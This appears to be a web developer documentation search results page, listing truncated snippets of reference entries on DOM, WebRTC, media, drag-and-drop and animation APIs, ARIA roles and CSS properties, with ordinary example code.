for example, the standard dom specifies that the getelementsbytagname method in the code below must return a list of all the <p> elements in the document: const paragraphs = document.getelementsbytagname("p"); // paragraphs[0] is the first <p> element // paragraphs[1] is the second <p> element, etc.
...though we focus exclusively on javascript in this reference documentation, implementations of the dom can be built for any language, as this python example demonstrates: # python dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\chap1.xml") doc.nodename # dom property of document object p_list = doc.getelementsbytagname("para") for more information on what technologies are involved in writing javascript on the web, see javascript technologies overview.
... this following javascript will display an alert when the document is loaded (and when the whole dom is available for use): <body onload="window.alert('welcome to my home page!');"> another example.
...And 4 more matches
EffectTiming.duration - Web APIs
syntax var timingproperties = { duration: durationinmilliseconds | "auto" }; timingproperties.duration = durationinmilliseconds | "auto"; value the number of milliseconds long a single beginning-to-end iteration of the animation should take.
... the default is "auto".
... currently, a value of "auto" is the same as specifying 0.0.
...And 4 more matches
Frame Timing API - Web APIs
an application can register a performanceobserver for "frame" performance entry types.
... the observer (callback) will be notified when new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available.
... performance frames the performanceframetiming interface extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constrainting the properties as follows: performanceentry.entrytype set to "frame".
...And 4 more matches
HTMLButtonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></...
...a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,m...
...onaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="49...
...And 4 more matches
HTMLImageElement.srcset - Web APIs
otherwise, the condition descriptor may take one of two forms: to indicate that the image resource specified by the image candidate string should be used when the image is being rendered with a particular width in pixels, provide a width descriptor comprised the number giving that width in pixels followed by the lower case letter "w".
...this is written by stating the pixel density as a positive, non-zero floating-point value followed by the lower-case letter "x".
...all of the following are valid image candidate strings: "images/team-photo.jpg 1x, images/team-photo-retina.jpg 2x, images/team-photo-full 2048w" this string provides versions of an image to be used at the standard pixel density (1x) as well as double that pixel density (2x).
...And 4 more matches
HTMLTableCellElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mon...
...o,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" strok...
...e="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="...
...And 4 more matches
HTMLTableElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="mi...
...ddle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="...
...303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y...
...And 4 more matches
Dragging and Dropping Multiple Items - Web APIs
this function similarly to setdata() var dt = event.datatransfer; dt.mozsetdataat("text/plain", "data to drag", 0); dt.mozsetdataat("text/plain", "second data to drag", 1); this example adds two items to be dragged.
... event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices.
... for example: var dt = event.datatransfer; dt.mozsetdataat("text/uri-list", "url1", 0); dt.mozsetdataat("text/plain", "url1", 0); dt.mozsetdataat("text/uri-list", "url2", 1); dt.mozsetdataat("text/plain", "url2", 1); dt.mozsetdataat("text/uri-list", "url3", 2); dt.mozsetdataat("text/plain", "url3", 2); // [item1] data=url1, index=0 // [item2] data=url2, index=1 // [item3] data=url3, index=2 after you added three items in two different formats, dt.mozcleardataat("text/uri-list", 1); dt.mozcleardataat("text/plain", 1); you've removed the second item clearing all types, then the old third item becomes new second item, and its index decreases.
...And 4 more matches
HTML Drag and Drop API - Web APIs
identify what is draggable making an element draggable requires adding the draggable attribute and the ondragstart global event handler, as shown in the following code sample: <script> function dragstart_handler(ev) { // add the target element's id to the data transfer object ev.datatransfer.setdata("text/plain", ev.target.id); } window.addeventlistener('domcontentloaded', () => { // get the element by id const element = document.getelementbyid("p1"); // add the ondragstart event listener element.addeventlistener("dragstart", dragstart_handler); }); </script> <p id="p1" draggable="true">this element is draggable.</p> for more information, see: draggable attribute re...
... function dragstart_handler(ev) { // add different types of drag data ev.datatransfer.setdata("text/plain", ev.target.innertext); ev.datatransfer.setdata("text/html", ev.target.outerhtml); ev.datatransfer.setdata("text/uri-list", ev.target.ownerdocument.location.href); } for a list of common data types used in drag-and-drop (such as text, html, links, and files), see recommended drag types.
... // note: change "example.gif" to a real image url or the image // will not be created and the default drag image will be used.
...And 4 more matches
IDBRequest.transaction - Web APIs
if a version upgrade is needed when opening a database then during the upgradeneeded event handler the transaction property will be an idbtransaction with mode equal to "versionchange", and can be used to access existing object stores and indexes, or abort the the upgrade.
...for a full working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // u...
...pdate the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; this example shows how a the transaction property can be used during a version upgrade to access existing object stores:​ var openrequest = indexeddb.open('db', 2); console.log(openrequest.transaction); // will log "null".
...And 4 more matches
MediaDevices.getUserMedia() - Web APIs
for example, on mobile devices, the following will prefer the front camera (if one is available) over the rear one: { audio: true, video: { facingmode: "user" } } to require the rear camera, use: { audio: true, video: { facingmode: { exact: "environment" } } } another non-number constraint is the deviceid constraint.
...if you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording you, without discarding the permission to resume using the camera once muting is over.
...here, indicate we need the ability to use both camera and microphone: <iframe src="https://mycode.example.net/etc" allow="camera;microphone"> </iframe> read our guide, using feature policy, to learn more about how it works.
...And 4 more matches
Using the MediaStream Recording API - Web APIs
keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon starts to make you think "wow, why didn't we have this before?
... why was css2 layout so awkward?" it allows you do a calculation to determine the computed value of a css unit, mixing different units in the process.
...first of all, mediarecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.background = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording".
...And 4 more matches
Using the Media Capabilities API - Web APIs
you can, therefore, test for the presence of the api like so: if ("mediacapabilities" in navigator) { // mediacapabilities is available } else { // mediacapabilities is not available } taking video as an example, to obtain information about video decoding abilities, you create a video decoding configuration which you pass as a parameter to mediacapabilities.decodinginfo() method.
... const videoconfiguration = { type: "file", video: { contenttype: "video/webm;codecs=vp8", width: 800, height: 600, bitrate: 10000, framerate: 15 } }; had we been querying the decodability of an audio file, we would create an audio configuration including the number of channels and sample rate, leaving out the properties that apply only to video—namely, the dimensions and the frame rate: const...
... audioconfiguration = { type: "file", audio: { contenttype: "audio/ogg", channels: 2, bitrate: 132700, samplerate: 5200 } }; had we been testing encoding capabilities, we would have created a mediaencodingconfiguration, which requires the type of media being tested — either record (for recording media, i.e.
...And 4 more matches
NDEFRecord.recordType - Web APIs
syntax ndefrecord.recordtype value a usvstring which can be one of the following: "empty" represents a empty ndef record.
... "text" represents a text ndef record.
... "url" represents an uri ndef record.
...And 4 more matches
PaymentAddress - Web APIs
some examples of valid country values: "us", "gb", "cn", or "jp".
... paymentaddress.regioncode read only a domstring specifying the region of the address, represented as a "code element" of an iso3166-2 country subdivision name (e.g.
... "qld" for queensland, australia, "ca" for california, and so on).
...And 4 more matches
PerformancePaintTiming - Web APIs
the performancepainttiming interface of the paint timing provides timing information about "paint" (also called "render") operations during web page construction.
... "paint" refers to conversion of the render tree to on-screen pixels.
... an application can register a performanceobserver for "paint" performance entry types and the observer can retrieve the times that paint events occur.
...And 4 more matches
RTCDTMFSender.toneBuffer - Web APIs
the letters a-d these characters represent the "a" through "d" keys which are part of the dtmf standard but not included on most telephones.
...lower-case "a"-"d" automatically gets converted to upper-case.
... the pound/hash sign ("#") and the asterisk ("*") these correspond to the similarly-labeled keys which are typically on the bottom row of the telephone keypad.
...And 4 more matches
RTCDataChannel.readyState - Web APIs
constant description "connecting" the user agent (browser) is in the process of creating the underlying data transport; that is, whatever network level connection is used to link the two peers together is in the process of being set up.
... "open" the underlying data transport has been established and data can be transferred bidirectionally across it.
... "closing" the process of closing the underlying data transport has begun.
...And 4 more matches
RTCDataChannel - Web APIs
values allowed by the websocket.binarytype property are also permitted here: "blob" if blob objects are being used or "arraybuffer" if arraybuffer objects are being used.
... the default is "blob".bufferedamount read only the read-only rtcdatachannel property bufferedamount returns the number of bytes of data currently queued to be sent over the data channel.bufferedamountlowthreshold the rtcdatachannel property bufferedamountlowthreshold is used to specify the number of bytes of buffered outgoing data that is considered "low." the default value is 0.id read only the read-only rtcdatachannel property id returns an id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel.label read only the read-only rtcdatachannel property label returns a domstring containing a name describing the data channel.
...if no protocol was specified when the data channel was created, then this property's value is "" (the empty string).readystate read only the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.reliable read only the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.stream read only the deprecated (and never part of the offic...
...And 4 more matches
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
syntax var iceserver = { urls = iceserverurl | [ url1, ..., urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of this property may be specified as a single url or as an array of multiple urls.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed.
...logging into the turn server will use the username "webrtc" and the creative password "turnpassword".
...And 4 more matches
Storage API - Web APIs
there are two modes: "best-effort" the user agent will try to retain the data contained in the box for as long as it can, but will not warn users if storage space runs low and it becomes necessary to clear the box in order to relieve the storage pressure.
... "persistent" the user agent will retain the data as long as possible, clearing all "best-effort" boxes before considering clearing a box marked "persistent".
... to change an origin's box mode requires permission to use the "persistent-storage" feature.
...And 4 more matches
Text.wholeText - Web APIs
WebAPITextwholeText
<strong>no insipid election coverage!</strong> however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preserving the hyperlink.
... so you try this: para.firstchild.data = "thru-hiking is great, but "; all set, right?
...instead, you now effectively have this: <p>thru-hiking is great, but however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you’d really prefer to treat all those adjacent text nodes as a single one.
...And 4 more matches
TouchEvent() - Web APIs
toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface.
... "targettouches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact that is touching the surface and started on the element that is the target of the current event.
... "changedtouches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact which contributed to the event.
...And 4 more matches
USBEndpoint - Web APIs
properties usbendpoint.endpointnumber returns this endpoint's "endpoint number" which is a value from 1 to 15 extracted from the bendpointaddress field of the endpoint descriptor defining this endpoint.
... usbendpoint.direction returns the direction in which this endpoint transfers data, one of: "in" - data is transferred from device to host.
... "out" - data is transferred from host to device.
...And 4 more matches
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
video track kind strings the kinds available for video tracks are: "alternative" a potential alternative to the main track, such as a different video take or a version of the soundtrack with only the music and no dialogue.
... "captions" a version of the main video track with captions burnt in.
... "main" the primary video track.
...And 4 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
reminder: even though we use phrases like "move the camera," what we're really doing is moving the entire world around the camera.
... zooming by adjusting field of view you can do something more akin to a true "zoom" by altering the camera's field of view (fov).
... scaling transforms unlike a true "zoom", scaling involves multiplying each of the x, y, and z coordinate values in a position or vertex by a scaling factor for that axis.
...And 4 more matches
Using the Web Animations API - Web APIs
for instance, web animations doesn't use the string "infinite", but instead uses the javascript keyword infinity.
... bring the pieces together now it’s time to bring them both together with the element.animate() method: document.getelementbyid("alice").animate( alicetumbling, alicetiming ) and boom: the animation starts playing (see the finished version on codepen).
...instead of making objects for keyframes and timing properties, we could just pass their values in directly, like so: document.getelementbyid("alice").animate( [ { transform: 'rotate(0) translate3d(-50%, -50%, 0)', color: '#000' }, { color: '#431236', offset: 0.3}, { transform: 'rotate(360deg) translate3d(-50%, -50%, 0)', color: '#000' } ], { duration: 3000, iterations: infinity } ); what’s more, if we only wanted to specify the duration of the animation and not its iterations (by default, animations iterate once), we could pass in the milliseconds alone: document.getelementbyid("alice").animate( [ { transform: 'rotate(0) transla...
...And 4 more matches
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the behavior flags chrome, dialog and modal).
... these can be overridden (so "menubar=no,all" turns on all chrome except the menubar.) this feature is explicitly ignored by window.open().
... default behavior the chrome and dialog features are always assumed on, unless explicitly turned off ("chrome=no").
...And 4 more matches
HTML in XMLHttpRequest - Web APIs
also, html support is only available if the responsetype property has been set to "document".
... usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling send().
... var xhr = new xmlhttprequest(); xhr.onload = function() { console.log(this.responsexml.title); } xhr.open("get", "file.html"); xhr.responsetype = "document"; xhr.send(); feature detection method 1 this method relies on the "force async" nature of the feature.
...And 4 more matches
ARIA: Comment role - Accessibility
the commented section is marked up using <span role="mark">.
... the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
... <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment.
...And 4 more matches
ARIA: Complementary role - Accessibility
<div role="complementary"> <h2>our partners</h2> <!-- complementary section content --> </div> this is a sidebar containing links to event sponsors.
... examples <div role="complementary"> <h2>trending articles</h2> <ul> <li><a href="#">18 tweets that will make you feel all the feels</a></li> <li><a href="#">stop searching for the perfect lunch containers because i've found them</a></li> <li><a href="#">the time has come to finally decide what we should be calling these foods</a></li> <li><a href="#">17 really good posts we saw on tumblr this ...
...week</a></li> <li><a href="#">10 parent hacks we know work because we tried them</a></li> </ul> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
...And 4 more matches
ARIA: Region role - Accessibility
<div role="region" aria-label="example"> <!-- region content --> </div> description the region role is an aria landmark role.
... examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">this heading's <code>id</code> attribute helps this region have an accessible name</h2> <!-- region content --> </div> accessibility concerns use sparingly!
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 4 more matches
ARIA: tab role - Accessibility
<button role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id">tab label</button> description an element with the tab role controls the visibility of an associated element with the tabpanel role.
... <div class="tabs"> <div role="tablist" aria-label="sample tabs"> <button role="tab" aria-selected="true" aria-controls="panel-1" id="tab-1" tabindex="0"> first tab </button> <button role="tab" aria-selected="false" aria-controls="panel-2" id="tab-2" tabindex="-1"> second tab </button> <button role="tab" aria-selected="false" aria-controls="panel-3" id="tab-3" ...
...tabindex="-1"> third tab </button> </div> <div id="panel-1" role="tabpanel" tabindex="0" aria-labelledby="tab-1"> <p>content for the first panel</p> </div> <div id="panel-2" role="tabpanel" tabindex="0" aria-labelledby="tab-2" hidden> <p>content for the second panel</p> </div> <div id="panel-3" role="tabpanel" tabindex="0" aria-labelledby="tab-3" hidden> <p>content for the third panel</p> </div> </div> .tabs { padding: 1em; } [role="tablist"] { margin-bottom: -1px; } [role="tab"] { position: relative; z-index: 1; background: white; border-radius: 5px 5px 0 0; border: 1px solid grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0...
...And 4 more matches
ARIA: checkbox role - Accessibility
elements containing role="checkbox" must also include the aria-checked attribute to expose the checkbox's state to assistive technology.
... <span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label"> </span> <label id="chk1-label">remember my preferences</label> the first rule of aria is if a native html element or attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria.
... instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascript.
...And 4 more matches
Basic form hints - Accessibility
<form> <ul> <li> <input id="wine-1" type="checkbox" value="riesling"/> <label for="wine-1">berg rottland riesling</label> </li> <li> <input id="wine-2" type="checkbox" value="pinot-blanc"/> <label for="wine-2">pinot blanc</label> </li> <li> <input id="wine-3" type="checkbox" value="pinot-grigio"/> <label for="wine-3">pinot grigio</label> </li> <li> <input id="wine-4...
..." type="checkbox" value="gewurztraminer"/> <label for="wine-4">gewürztraminer</label> </li> </ul> </form> labeling with aria the html <label> element is appropriate for form-related elements, but many form controls are implemented as a dynamic javascript widget, using <div>s or <span>s.
... <h3 id="rg1_label">lunch options</h3> <ul class="radiogroup" id="rg1" role="radiogroup" aria-labelledby="rg1_label"> <li id="r1" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> thai </li> <li id="r2" tabindex="-1" role="radio" aria-checked="false"> <img role="presentation" src="radio-unchecked.gif" /> subway </li> <li id="r3" ...
...And 4 more matches
:target - CSS: Cascading Style Sheets
WebCSS:target
/* selects an element with an id matching the current url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
... html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a url fragment.
... click on the link above to try out!</p> <p id="p2">this is <i>another paragraph</i>, also accessible from the links above.
...And 4 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
.box1 { grid-column-start: main-start; grid-row-start: main-start; grid-row-end: main-end; } .box2 { grid-column-start: content-end; grid-row-start: main-start; grid-row-end: content-end; } .box3 { grid-column-start: content-start; grid-row-start: main-start; } .box4 { grid-column-start: content-start; grid-column-end: main-end; grid-row-start: content-end; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> everything else about line-based placement still works in the same way and you can mix named lines and line numbers.
... .wrapper { display: grid; grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end]; grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end]; } .thing { grid-area: content; } <div class="wrapper"> <div class="thing">i am placed in an area named content.</div> </div> we don’t need to define where our areas are with grid-template-areas as our named lines have created an area for us.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } .wrapper > div.overlay { z-index: 10; grid-column: main-start / main-end; grid-row: hd-start / ft-end; border: 4px solid rgb(92,148,13); ...
...And 4 more matches
Cubic Bezier Generator - CSS: Cascading Style Sheets
<html> <canvas id="bezier" width="336" height="336"> </canvas> <form> <label for="x1">x1 = </label><input onchange="updatecanvas();" type="text" maxlength=6 id="x1" value="0.79" class='field'> <label for="y1">y1 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y1" value="0.33" class='field'> <label for="x2">x2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="x2" value="0.14" class='field'> <label for="y2">y2 = </label><input onchange="updatecanvas();return true;" type="text" maxlength=6 id="y2" value="0.53" class='field'> <br> <output id="output">log</output> </form> </html> .field { width: 40px; } function updatecanvas() { var x...
...canvas = document.getelementbyid('bezier'); // make sure we don't execute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); // clear canvas ctx.clearrect(0, 0, canvas.width, canvas.height); // draw the rulers ctx.beginpath(); ctx.strokestyle = "black"; // draw the y axis ctx.moveto(cx(0), cy(0)); ctx.lineto(cx(1), cy(0)); ctx.textalign = "right"; for (var i = 0.1; i <= 1; i = i + 0.1) { ctx.moveto(-basic_scale_size + cx(0), ly(i)); if ((i == 0.5) || (i > 0.9)) { ctx.moveto(-2 * basic_scale_size + cx(0), ly(i)); ctx.filltext(math.round(i * 10...
...) / 10, -3 * basic_scale_size + cx(0), cy(i) + 4); // limitation the constant 4 should be font size dependant } ctx.lineto(cx(0), ly(i)); } ctx.stroke(); ctx.closepath(); ctx.beginpath(); // draw the y axis label ctx.save(); ctx.rotate(-math.pi / 2); ctx.textalign = "left"; ctx.filltext("output (value ratio)", -cy(0), -3 * basic_scale_size + cx(0)); ctx.restore(); // draw the x axis ctx.moveto(cx(0), cy(0)); ctx.lineto(cx(0), cy(1)); ctx.textalign = "center"; for (i = 0.1; i <= 1; i = i + 0.1) { ctx.moveto(lx(i), basic_scale_size + cy(0)); if ((i == 0.5) || (i > 0.9)) { ctx.moveto(lx(i), 2 * ...
...And 4 more matches
overflow-wrap - CSS: Cascading Style Sheets
html <p>they say the fishing is excellent at lake <em class="normal">chargoggagoggmanchauggagoggchaubunagungamaugg</em>, though i've never been there myself.
... (<code>normal</code>)</p> <p>they say the fishing is excellent at lake <em class="ow-anywhere">chargoggagoggmanchauggagoggchaubunagungamaugg</em>, though i've never been there myself.
... (<code>overflow-wrap: anywhere</code>)</p> <p>they say the fishing is excellent at lake <em class="ow-break-word">chargoggagoggmanchauggagoggchaubunagungamaugg</em>, though i've never been there myself.
...And 4 more matches
perspective-origin - CSS: Cascading Style Sheets
html <section> <figure> <figcaption><code>perspective-origin: top left;</code></figcaption> <div class="container"> <div class="cube potl"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top;</code></figcaption> <div class="container">...
... <div class="cube potm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: top right;</code></figcaption> <div class="container"> <div class="cube potr"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: left;</code></figcaption> <div class="container"> <div class="cube poml...
